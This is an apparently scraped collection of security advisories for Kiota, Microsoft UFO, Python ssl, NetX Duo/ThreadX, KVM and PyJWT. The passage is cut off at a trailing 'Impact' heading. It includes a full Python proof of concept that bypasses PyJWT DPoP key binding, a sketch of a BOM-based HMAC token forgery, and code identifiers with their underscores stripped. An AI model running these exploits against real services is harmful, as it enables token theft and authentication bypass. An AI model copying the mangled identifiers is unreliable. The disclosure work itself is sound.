See how microsoft compares to other vendors in security performance
Impact
An attacker who controls or tampers with an OpenAPI description can cause Kiota to emit attacker-controlled Java or PHP source outside a generated documentation comment. The affected sanitizers remove comment terminators rather than neutralizing them, allowing a terminator to reform from overlapping characters or from subsequent normalization. The Java sanitizer also removes non-ASCII characters after removing terminators, which can create a new terminator.
Exploitation requires a developer or build pipeline to generate a client from the malicious description and subsequently compile and load the Java output, or load the PHP output. Code executes in the consuming application's or build environment's security context, not merely because Kiota reads the description.
Affected versions
The affected NuGet packages are Microsoft.OpenApi.Kiota and Microsoft.OpenApi.Kiota.Builder. The Java normalization-order defect was introduced in version 0.5.0 and remains present through version 1.34.1, including the separate 1.29.1 security-backport release. The PHP delimiter-reformation variant is also present in version 1.34.1 and 1.29.1. Version 1.35.0 fixes both variants.
The package version range below reflects the Java defect; it does not assert that PHP generation existed in every version in that range.
Patches
Upgrade to Kiota 1.35.0 or later and regenerate affected clients. The fix neutralizes block-comment delimiters instead of deleting them, and performs Java delimiter neutralization after non-ASCII normalization.
- Fix: https://github.com/microsoft/kiota/pull/8017 - Fixed release: https://github.com/microsoft/kiota/releases/tag/v1.35.0
Workarounds
Until upgrading, generate clients only from trusted, integrity-protected OpenAPI descriptions. Review generated Java and PHP source before compiling, loading, or deploying it. Restrict the privileges and secrets available to generation and build environments.
Related advisories
This is distinct from PHP double-quoted string interpolation (GHSA-jqwh-526h-c92j) and C# XML documentation newline breakout (GHSA-3hrf-2gc2-mx32). Those fixes do not address Java/PHP block-comment delimiter reformation.
Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.9, the runshell tool in the CommandLineExecutor component of ufo/client/mcp/localservers/climcpserver.py validates only the first token of the bashcommand parameter and permits explorer.exe. On Windows, explorer.exe delegates its following path argument to ShellExecute, so an attacker-influenced agent call can launch an arbitrary executable or script as the desktop user even though the subprocess uses shell=False. Exploitation depends on a user running an affected agent workflow and on inducing the tool call, but successful execution can access or modify that user's files, tokens, and sessions. This issue is fixed in version 3.0.9.
Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.10, the typetext and launchapp tools in ufo/client/mcp/httpservers/mobilemcpserver.py pass the authenticated caller-controlled text and packagename parameters into adb shell command argument positions without comprehensive validation. The adb client joins those arguments into a remote command string that the Android shell reparses, allowing shell metacharacters to execute additional commands on an authorized connected device as the Android shell user. Exploitation requires a valid Mobile MCP API key and a reachable device authorized for ADB, and it does not establish host operating-system execution, Android root execution, or access beyond the Android shell-user privileges. This issue is fixed in version 3.0.10.
Microsoft Exchange Server Elevation of Privilege Vulnerability
ssl.SSLContext.wrapbio() didn't require the serverhostname argument to not be None if ssl.SSLContext.checkhostname was set. Due to a missing parameter check in SSLObject, if the serverhostname argument isn't supplied then hostname verification would be silently skipped.
This defect could lead to programs where certificate hostname verification appeared to be succeeding with SSLContext.checkhostname = True and no ValueError being raised due to misconfiguration.
If the program passes a serverhostname value that isn't an empty string or None to any of these APIs then certificate hostname verification proceeds as expected and the program is not affected by this vulnerability.
Mitigating this vulnerability doesn't require updating Python or applying the patch. To mitigate, pass a valid non-None and non-empty serverhostname value to SSLContext.wrapbio(), asyncio.createconnection(), or asyncio.loop.starttls() and certificate hostname verification will proceed as expected. Upgrading to the latest version of Python or applying the patch only changes the behavior from silently skipping hostname verification to raising a ValueError, similar to SSLContext.wrapsocket(), when serverhostname isn't supplied.
iperf3 < 3.22 UDP Receive Worker Infinite Loop DoS
Two client-side TLS/DTLS handshake parsers in NetX Secure read fields from a server-supplied message before validating that the message is long enough to contain them. Both are bounded out-of-bounds reads on a remotely reachable path, both are reached from a TLS or DTLS client connecting to a malicious or malformed server, and both have the same shape: the bounds check exists and returns the correct status, but it runs after the read it is meant to guard.
hey,
nxsnmputilityobjectidget in the NetX Duo SNMP addon does not validate the claimed OID data length against the actual buffer size when the OID uses BER multibyte length encoding, so a remote attacker can send a crafted SNMP packet with a multibyte OID length larger than the available buffer, causing the parser to read past the packet buffer boundary into adjacent heap memory. the OOB bytes are decoded as OID component values and written into the agents internal OID string buffer, corrupting agent state. on systems with memory protection the OOB read poses the risk of crashing the SNMP agent thread, causing denial of service. on bare metal embedded systems without memory protection the read silently succeeds and corrupts the agents internal state with heap data.
Any host on the LAN can send two mDNS records and make the responder write past the end of its
transmit packet.
The string table stores each name in a slot rounded up to a multiple of four:
c
/ addons/mdns/nxdmdns.c:11436, 11443, 11447 /
memorylen = ((memorylen & 0xFFFFFFFC) + 8) & 0xFFFFFFFF;
...
len = ((USHORT)(p - 2)); / slot size, not string length /
if ((len == memorylen) && ... nxmdnsnamematch(start, memoryptr, memorysize) ...)
The lookup that decides whether an incoming name is already stored compares the rounded slot size,
so names of 12, 13, 14 and 15 characters share one bucket. A second name in the bucket is answered
with the pointer to the first, and the record then carries a string up to three bytes longer than
the length the caller accounted for. nxmdnspacketrradd (nxdmdns.c:8911) sizes its only
bound check from that stale length, and nxmdnsnamestringencode writes the real string.
Two PTR records are enough, both ordinary mDNS responses to a http.tcp query, with owner names
whose lengths fall in the same bucket:
==87491==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1 at 0x611000000124 thread T5
#0 nxmdnsnamestringencode addons/mdns/nxdmdns.c:13096 #1 nxmdnspacketrradd addons/mdns/nxdmdns.c:8911
0x611000000124 is 0 bytes to the right of 228-byte region
The overflow is one to three bytes of attacker-influenced name data past nxpacketdataend. In a
normal pool that lands in the next packet in the same pool rather than in a redzone, so the visible
effect is a corrupted neighbouring packet or a corrupted pool free list rather than a clean crash.
Compare the slot size against the stored string length before declaring a match, or keep the
string length in the slot header and return it to the caller so the encoder and the bound check
agree.
nxicmpv6validateoptions() scans the option area with while (length > 2) (common/src/nxicmpv6validateoptions.c:79). An area whose size leaves a one- or two-byte residue exits the loop with that tail unexamined; the residue is not negative, so the function returns NXSUCCESS. Its zero-length rejection never sees those bytes.
Every consumer then re-walks the same area, reading a two-byte option header at the residue and subtracting nxicmpv6optionlength << 3 with no zero check and no remaining-length check. Three outcomes follow, selected by bytes the attacker controls.
Zero length byte. The walker subtracts zero and advances zero. All four handlers loop forever — nxicmpv6processra (nxicmpv6processra.c:245, :528), nxicmpv6processns (:251, :329), nxicmpv6processna (:147, :156) and nxicmpv6processredirect (:247, :350). The walk runs in the IP thread, which is the highest-priority thread and does not yield inside the loop, so the system stops until a watchdog reset and the frame can be replayed after each one.
Non-zero length byte on a short residue. The three unsigned counters underflow — 2 - 8 becomes 0xFFFFFFFA — and the walk continues past the packet buffer, reading until it faults or meets a zero length byte and freezes. The Router Advertisement counter is signed and exits cleanly in this case.
One-byte residue. The walker reads a two-byte option header, over-reading one byte.
During a runaway walk, stray bytes parsing as a link-layer address option are copied into the neighbor cache (nxicmpv6processns.c:280, :293) and subsequently used as the destination MAC for frames to that neighbour, placing off-packet memory on the link. Confirmed by inspection, not reproduced.
The TFTP server accepts a DATA datagram of any size. The dispatcher rejects datagrams shorter than
four bytes (nxdtftpserver.c:1037) and nothing anywhere checks an upper bound, in particular not
against the protocol maximum of 4 + NXTFTPFILETRANSFERMAX. Two things follow from that one
missing check, both reachable before any authentication because TFTP has none.
The handler passes nxpacketlength - 4 straight to FileX:
c
/ addons/tftp/nxdtftpserver.c:1863, 1889 /
status = nxpacketcopy(packetptr, &tempptr,
serverptr -> nxtftpserverpacketpoolptr, NXWAITFOREVER);
...
fxfilewrite(&(clientrequestptr -> nxtftpclientrequestfile),
packetptr -> nxpacketprependptr + 4, packetptr -> nxpacketlength - 4);
nxpacketlength is the length of a chain, not of one contiguous buffer, so FileX copies past the
end of the first packet:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1280 at 0x621000001108 thread T5
#0 interceptormemcpy #1 fxutilitymemorycopy filex/common/src/fxutilitymemorycopy.c:78
0x621000001108 is 0 bytes to the right of 4104-byte region
Those bytes are written into the file the attacker is uploading, and a TFTP read request hands them
back, so this is a memory disclosure with a convenient retrieval channel.
The same datagram also wedges the server. nxpacketcopy at :1863 needs
ceil(nxpacketlength / poolpayload) packets and asks for them with NXWAITFOREVER, so when the
attacker sizes the datagram beyond what the pool holds, the server thread suspends and never
returns. A liveness probe after one such datagram times out with the pool at 0 of 12 packets and
the server thread suspended, and no later client is served.
Reject nxpacketlength > 4 + NXTFTPFILETRANSFERMAX in the DATA branch before either call,
and use a bounded wait rather than NXWAITFOREVER for the copy.
The NetX Duo MQTT client leaks the packet carrying a malformed PUBLISH message. Each malformed PUBLISH costs one packet, or one chain of packets, from the network driver's receive pool, and nothing returns it. A peer that can deliver a few dozen such messages exhausts the pool and stops all inbound network traffic on the device until it is rebooted.
When NetX Secure is built with NXSECUREKEYCLEAR, every TLS record sent on an active session is wiped after it has been handed to TCP. By then the TCP layer owns the packet chain and may already have released it to the packet pool. The wipe therefore writes zeros into packets that are free or in use by another thread, and when a reused packet's pointers no longer describe the old data, the length of the wipe underflows and it runs past the end of the packet pool.
The nxsecurex509asn1tlvblockparse() function parses ASN.1 TLV (tag-length-value) blocks out of DER-encoded data. It is the primitive underneath all X.509 certificate parsing in NetX Secure, and therefore runs on certificates supplied by a remote peer during the TLS handshake.
The function reads the one-byte ASN.1 tag from the caller's buffer before checking that the buffer holds at least one byte. When a caller passes a remaining length of zero, the guard correctly returns NXSECUREX509ASN1LENGTHTOOLONG, but the read has already happened one byte past the end of the buffer.
code:
nxsecure/src/nxsecurex509asn1tlvblockparse.c
UINT nxsecurex509asn1tlvblockparse(const UCHAR buffer, ULONG bufferlength, USHORT tlvtype,
USHORT tlvtagclass, ULONG tlvlength, const UCHAR tlvdata, ULONG headerlength)
{
UINT currentindex;
USHORT currenttag;
ULONG length;
ULONG lengthbytes;
currentindex = 0; currenttag = buffer[currentindex]; / <-- read before the bounds check / if (bufferlength < 1) { return(NXSECUREX509ASN1LENGTHTOOLONG); }
The remainder of the function is correctly ordered. The multi-byte length path is guarded by lengthbytes > 4 || lengthbytes > bufferlength before its read loop, the decoded value is checked against length > bufferlength, and the second single-byte length read follows its own bufferlength < 1 guard. The tag read is the only load placed ahead of its check.
An unprivileged, memory-protected ThreadX module can have the kernel read and write memory at addresses of its choosing, in privileged mode, and can use that to clear the MPU enable bit and remove its own isolation boundary.
The Module Manager decided whether a privileged service could dereference an object address a module named by asking only whether that address fell outside the module. The manager's object pool is outside every module, so the test was satisfied by an address shifted into the interior of one of the module's own privileged allocations, which denotes no object at all. The bytes such an address presents as a control block are bytes the module put there through ordinary create and set services, so the control block ID at the front of them could be made to read as any type the module chose, and the txe layer's ID test then agreed. The reported chain uses that to reach a privileged memset across an attacker-chosen range.
In the Linux kernel, the following vulnerability has been resolved:
KVM: x86/mmu: Check write tracking in all address spaces
kvmgfniswritetracked() checks only the supplied memslot, but page tracking is per-address-space and shadow pages are shared across all address spaces. With SMM, a GFN can therefore be write-tracked in one address space and appear untracked through the other.
Check the supplied slot first, then the slot for the other address space. This ensures all callers honor write tracking regardless of the active address space. In particular, it prevents mmutrytounsyncpages() from marking an upper-level shadow page unsync and eventually triggering the BUG in ptelistremove().
[invert direction of the conditional. - Paolo]
Summary
PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.
When d is present, OKPAlgorithm.fromjwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.
In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.
Details
The vulnerable logic is in jwt/algorithms.py:
python if "x" not in obj: raise InvalidKeyError('OKP should have "x" parameter')
x = base64urldecode(obj.get("x"))
if "d" not in obj: if curve == "Ed25519": return Ed25519PublicKey.frompublicbytes(x) return Ed448PublicKey.frompublicbytes(x)
d = base64urldecode(obj.get("d"))
if curve == "Ed25519": return Ed25519PrivateKey.fromprivatebytes(d)
return Ed448PrivateKey.fromprivatebytes(d)
When d is present, x is parsed but never compared with the public key derived from d.
For example, PyJWT accepts:
json { "kty": "OKP", "crv": "Ed25519", "x": "<legitimate-user-public-key>", "d": "<attacker-private-key>" }
even though x and d belong to different key pairs.
The behavior has existed since OKP private-JWK import was introduced:
Ed25519: PyJWT 2.1.0+ Ed448: PyJWT 2.2.0+ Confirmed through PyJWT 2.14.0 and current master
A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.
PoC
The reproducer creates two Ed25519 keypairs:
a legitimate holder keypair an attacker keypair
It then:
1. Creates an access token whose cnf.jkt is bound to the legitimate public key. 2. Creates a DPoP proof JWK containing the legitimate user's x together with the attacker's d. 3. Computes the RFC 7638 thumbprint from x, which still matches the access-token binding. 4. Passes the complete JWK to PyJWK.fromdict(). 5. PyJWT imports the private key from the attacker-controlled d. 6. A DPoP proof signed with the attacker's private key verifies successfully.
Observed result:
text thumbprintmatches: true actualkeyisattackerkey: true actualkeymatchesdeclaredx: false stolensenderconstrainedtokenaccepted: true attackerhaslegitimateprivatekey: false
Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.
The complete reproducer is: python #!/usr/bin/env python3
from future import annotations
import base64 import hashlib import json import os import platform import time from importlib.metadata import version from typing import Any
import jwt from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey from cryptography.hazmat.primitives.serialization import ( Encoding, NoEncryption, PrivateFormat, PublicFormat, )
ACCESSTOKENSECRET = b"synthetic-authorization-server-key-32b" HTTPMETHOD = "GET" HTTPURI = "https://resource.example/protected"
def b64url(raw: bytes) -> str: return base64.urlsafeb64encode(raw).rstrip(b"=").decode("ascii")
def publicx(privatekey: Ed25519PrivateKey) -> str: return b64url(privatekey.publickey().publicbytes(Encoding.Raw, PublicFormat.Raw))
def privated(privatekey: Ed25519PrivateKey) -> str: return b64url( privatekey.privatebytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption()) )
def jwkthumbprint(jwk: dict[str, Any]) -> str: canonical = json.dumps( {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]}, separators=(",", ":"), sortkeys=True, ).encode("ascii") return b64url(hashlib.sha256(canonical).digest())
def accesstokenhash(accesstoken: str) -> str: return b64url(hashlib.sha256(accesstoken.encode("ascii")).digest())
def verifyresourcerequest( accesstoken: str, proof: str, , rejectprivateheaderjwk: bool = False, ) -> dict[str, Any]: """Model the security-relevant stages of an RFC 9449 resource server.""" accessclaims = jwt.decode( accesstoken, ACCESSTOKENSECRET, algorithms=["HS256"], issuer="https://authorization.example", audience="resource-api", options={"require": ["exp", "iss", "aud", "sub", "cnf"]}, ) header = jwt.getunverifiedheader(proof) if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA": raise ValueError("invalid DPoP header policy") jwk = header.get("jwk") if not isinstance(jwk, dict): raise ValueError("missing DPoP JWK") if rejectprivateheaderjwk and any( member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k") ): raise ValueError("DPoP header JWK contains private material") if jwkthumbprint(jwk) != accessclaims["cnf"]["jkt"]: raise ValueError("DPoP key does not match cnf.jkt")
key = jwt.PyJWK.fromdict(jwk) proofclaims = jwt.decode( proof, key, algorithms=["EdDSA"], options={"require": ["htm", "htu", "iat", "jti", "ath"]}, ) if proofclaims["htm"] != HTTPMETHOD or proofclaims["htu"] != HTTPURI: raise ValueError("DPoP request binding mismatch") if proofclaims["ath"] != accesstokenhash(accesstoken): raise ValueError("DPoP access-token hash mismatch") return accessclaims
def main() -> None: legitimateholder = Ed25519PrivateKey.generate() attacker = Ed25519PrivateKey.generate() legitimatex = publicx(legitimateholder) attackerx = publicx(attacker)
legitimatepublicjwk = { "alg": "EdDSA", "crv": "Ed25519", "kty": "OKP", "x": legitimatex, } mismatchedproofjwk = { legitimatepublicjwk, "d": privated(attacker), } pinnedjkt = jwkthumbprint(legitimatepublicjwk)
now = int(time.time()) accesstoken = jwt.encode( { "aud": "resource-api", "cnf": {"jkt": pinnedjkt}, "exp": now + 300, "iat": now, "iss": "https://authorization.example", "scope": "admin:read", "sub": "legitimate-holder", }, ACCESSTOKENSECRET, algorithm="HS256", ) proofclaims = { "ath": accesstokenhash(accesstoken), "htm": HTTPMETHOD, "htu": HTTPURI, "iat": now, "jti": "synthetic-attacker-proof", } attackerproof = jwt.encode( proofclaims, attacker, algorithm="EdDSA", headers={"jwk": mismatchedproofjwk, "typ": "dpop+jwt"}, )
imported = jwt.PyJWK.fromdict(mismatchedproofjwk).key importedx = b64url( imported.publickey().publicbytes(Encoding.Raw, PublicFormat.Raw) ) acceptedclaims = verifyresourcerequest(accesstoken, attackerproof)
publiconlyrejected = False publiconlyerror = None publiconlyproof = jwt.encode( proofclaims, attacker, algorithm="EdDSA", headers={"jwk": legitimatepublicjwk, "typ": "dpop+jwt"}, ) try: verifyresourcerequest(accesstoken, publiconlyproof) except Exception as error: publiconlyrejected = True publiconlyerror = type(error).name
privatemembercontrolrejected = False privatemembercontrolerror = None try: verifyresourcerequest( accesstoken, attackerproof, rejectprivateheaderjwk=True, ) except Exception as error: privatemembercontrolrejected = True privatemembercontrolerror = type(error).name
result = { "environment": { "PyJWT": jwt.version, "PyJWTsource": str(jwt.file), "Python": platform.pythonversion(), "cryptography": version("cryptography"), "sourceref": os.environ.get("PYJWTSOURCEREF", "installed-release"), }, "dpopbinding": { "accesstokensubject": acceptedclaims["sub"], "accesstokenscope": acceptedclaims["scope"], "pinnedjkt": pinnedjkt, "proofjkt": jwkthumbprint(mismatchedproofjwk), "thumbprintmatches": jwkthumbprint(mismatchedproofjwk) == pinnedjkt, }, "importedkey": { "declaredx": legitimatex, "attackerx": attackerx, "actualimportedx": importedx, "actualkeyisattackerkey": importedx == attackerx, "actualkeymatchesdeclaredx": importedx == legitimatex, }, "vulnerablecomposition": { "stolensenderconstrainedtokenaccepted": acceptedclaims["sub"] == "legitimate-holder", "attackerhaslegitimateprivatekey": False, }, "controls": { "publiconlyjwkrejected": publiconlyrejected, "publiconlyerror": publiconlyerror, "rejectprivateheaderjwkblocksattack": privatemembercontrolrejected, "privatemembercontrolerror": privatemembercontrolerror, }, }
assert jwkthumbprint(mismatchedproofjwk) == pinnedjkt assert importedx == attackerx assert importedx != legitimatex assert acceptedclaims["sub"] == "legitimate-holder" assert publiconlyrejected and publiconlyerror == "InvalidSignatureError" assert privatemembercontrolrejected and privatemembercontrolerror == "ValueError" print(json.dumps(result, indent=2, sortkeys=True))
if name == "main": main()
text 06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py
A public example of the affected composition exists in StrongDM's agentic-auth Flask middleware: it computes an OKP thumbprint from x and subsequently passes the entire JWK to PyJWK.fromdict() for EdDSA DPoP verification without rejecting d.
Impact
The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.
In a DPoP verifier that:
calculates cnf.jkt / JWK thumbprints from the declared x, passes the same JWK to PyJWT for signature verification, and does not reject private JWK parameters,
an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.
RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject d are not vulnerable to the demonstrated attack.
Maintainer assessment (2026-09-12)
We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding x and d components returned the private key derived from d while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses x as the JWK identity and the returned key for cryptographic operations can act on two different key identities.
Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (>= 2.1.0, <= 2.14.0) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.
The fix is on master in commit 3cd9ceec33ced359decbad75b413ad668ae6332c. It derives the public bytes from d, compares them with x, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree 9f219601e39026c7094d48f3fbb6678951878aa8 with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command python -m tox passed all 35 required environments both before and after the commit.
The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.
The fix is not yet contained in a released PyJWT 2.x version, so patchedversions remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on master; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary. ---
Maintainer release update (2026-09-23)
PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 3cd9ceec33ced359decbad75b413ad668ae6332c. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.
The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: matching Ed25519 and Ed448 x/d private JWK components import successfully, while mismatched components raise InvalidKeyError. The supported affected range remains >= 2.1.0, <= 2.14.0; the patched version is 2.15.0. The earlier statement that no released patched version exists is superseded by this update.
The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.
Summary
A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because RSAAlgorithm.fromjwk can raise a plain ValueError that isn't caught by PyJWKSet's per-key error-skipping logic.
Affected component / version
- Package: PyJWT (PyPI, ecosystem pip) - Files: jwt/apijwk.py (PyJWK.init, PyJWKSet.init), jwt/algorithms.py (RSAAlgorithm.fromjwk) - Confirmed present in the master branch as of 2026-09-05 (commit 7144e4534c34810f4525dc4578a32addd8212cff, tag 2.13.0). Directly verified identical in tags 2.9.0, 2.10.0, 2.11.0, 2.12.0, 2.12.1, 2.13.0 -- the vulnerable call and the except PyJWTError guard are unchanged across all six releases. Not verified against any release prior to 2.9.0.
Details
PyJWKSet.init (jwt/apijwk.py:145-152) iterates each key in a JWK Set:
python for key in keys: try: self.keys.append(PyJWK(key)) except PyJWTError as error: if isinstance(error, MissingCryptographyError): raise error # skip unusable keys continue
PyJWK.init (apijwk.py:82) calls self.Algorithm.fromjwk(self.jwkdata) with no try/except of its own. For an RSA JWK, this dispatches to RSAAlgorithm.fromjwk (jwt/algorithms.py:539-586). When the JWK supplies d, e, n without the CRT parameters (p, q, dp, dq, qi), fromjwk calls cryptography's rsarecoverprimefactors(publicnumbers.n, d, publicnumbers.e) (algorithms.py:572-574) to derive the key. If d is not the correct private exponent for that n/e pair, rsarecoverprimefactors raises a plain ValueError.
ValueError is a built-in Python exception and is not a subclass of jwt.exceptions.PyJWTError (PyJWTError(Exception) is the root of PyJWT's own exception hierarchy). It is therefore not caught by PyJWKSet.init's except PyJWTError, and propagates out of the constructor, aborting the for key in keys: loop before any subsequent key in the list is processed.
PyJWKSet.fromdict/fromjson and PyJWK.fromdict/fromjson are exported public API (jwt/init.py). PyJWKClient.getjwkset (jwt/jwksclient.py:158) feeds a fetched JWKS HTTP response directly into PyJWKSet.fromdict with no per-key pre-validation, so this is reachable through the documented PyJWKClient flow whenever the fetched JWKS contains a malformed key alongside valid ones.
Proof of concept
python import jwt
goodjwk = { "kty": "RSA", "n": "<a valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key>", "e": "AQAB", }
badjwk = { "kty": "RSA", "n": goodjwk["n"], "e": "AQAB", "d": "AAAAAA", # not the true private exponent for n/e, no CRT params present }
jwksdoc = {"keys": [badjwk, goodjwk]}
jwt.PyJWKSet.fromdict(jwksdoc) raises: ValueError: Unable to compute factors p and q from exponent d. (uncaught -- PyJWKSet.init never returns, goodjwk is never added)
Impact
PyJWKSet.init raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught ValueError, not one of PyJWT's documented jwt.exceptions. types, so exception handling written against PyJWT's documented contract (except jwt.exceptions.PyJWTError) will not catch it either.
Suggested remediation
Wrap the key-construction call in PyJWK.init (apijwk.py:82) so a ValueError is converted into InvalidKeyError (a PyJWTError subclass):
python try: self.key = self.Algorithm.fromjwk(self.jwkdata) except ValueError as e: raise InvalidKeyError(f"Unable to construct key from JWK: {e}") from e
This lets PyJWKSet.init's existing except PyJWTError: continue skip the one malformed key as its own comment already states is intended.
Responsible Disclosure Timeline
Per the OWASP Vulnerability Disclosure Cheat Sheet and Google Project Zero's 2020 disclosure policy:
- Day 0 (date of submission): to be set to the actual API response's createdat timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05. - Day 90 (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05. - A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case. - This window may shorten instead of extend if the issue is confirmed under active exploitation.
Try It Yourself (Sandbox)
Reproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data.
- Sandbox: jwt.py - Course: Tenant Zero: AI & SaaS Authz Failures
Credit
Discovered and reported by SecDim Security Research: secdim.com, @secdim, security@secdim.com.
Maintainer update — 2026-09-08
We reproduced the reported behavior on PyJWT 2.13.0 with cryptography installed: a malformed RSA private JWK containing an invalid d value and no CRT parameters raised a plain ValueError while parsing a JWK set. Because PyJWKSet skips PyJWTError instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass.
The independently verified affected range is >= 2.9.0, <= 2.13.0; earlier releases were not checked. A narrow fix has been prepared in commit 8915570 based on master commit 5fa7594: PyJWK converts key-construction ValueError exceptions to InvalidKeyError, allowing the existing PyJWKSet skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning.
Summary
PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when an application mixes symmetric and asymmetric algorithms in one verification path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it is wrapped in a JWKS object, nested in an array, or represented in another container form that does not expose a top-level kty member.
Impact
An attacker who knows the public key material can forge HS256/HS384/HS512 tokens if the application simultaneously:
allows both HS and asymmetric algorithms; passes raw public JWK/JWKS JSON as key=; and uses that same value as the HMAC secret.
This can allow forged JWT claims in affected application configurations. The issue does not affect applications that keep symmetric and asymmetric verification paths separate and follow PyJWT's algorithm-selection guidance.
Fix status
The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.preparekey now rejects public JWK members found in objects, arrays, nested containers, BOM/UTF variants, and recursion-limit inputs. It also recognizes escaped JSON member names without treating ordinary string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.
The change was tested with focused regression tests and the full local tox matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy, package metadata, and coverage passed; unavailable interpreters were skipped by the project configuration. A fresh independent Astra/max security review accepted the final diff with no blocking findings.
The affected range is = 2.13.0. The fix is on the unreleased development branch; the patched version will be recorded when a released 2.x version containing the fix is available. This advisory is being moved to draft pending that release.
Reporter credit
Credit: Charles Vosburgh / Trilobyte.
Original report
The original report and reproduction package are retained in the private advisory record.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.
Affected Package
- Package: PyJWT (pyjwt on PyPI) - Repository: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt&source=gmail&ust=1781794518474000&sa=E - Affected version: 2.13.0 - Vulnerability class: Algorithm confusion / patch bypass
---
Root Cause
PyJWT 2.13.0 introduced a guard in HMACAlgorithm.preparekey() (file jwt/algorithms.py, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.
The guard uses bytes.lstrip() before calling startswith(b"{"):
python stripped = keybytes.lstrip() # strips ASCII whitespace only if stripped.startswith(b"{"): # JWK detection ... raise InvalidKeyError("The specified key is an asymmetric key...")
bytes.lstrip() with no argument removes only bytes in the ASCII whitespace set (\x20 \t \n \r \x0b \x0c). A UTF-8 BOM prefix (\xef\xbb\xbf) is not stripped, so stripped.startswith(b"{") returns False for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.
---
PoC Sketch (pseudocode — not a weaponized payload)
python 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint) and prepends a UTF-8 BOM byte sequence before the JSON opening brace. 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret. 3. Attacker submits the forged token to a verifier that: - accepts algorithms=["HS256", "RS256"] - holds the same RSA public key as raw bytes (BOM-prefixed key file) 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK detection check to be skipped — the RSA JWK bytes become a valid HMAC key. Result: arbitrary claims (role, sub, etc.) accepted by the verifier.
---
Impact
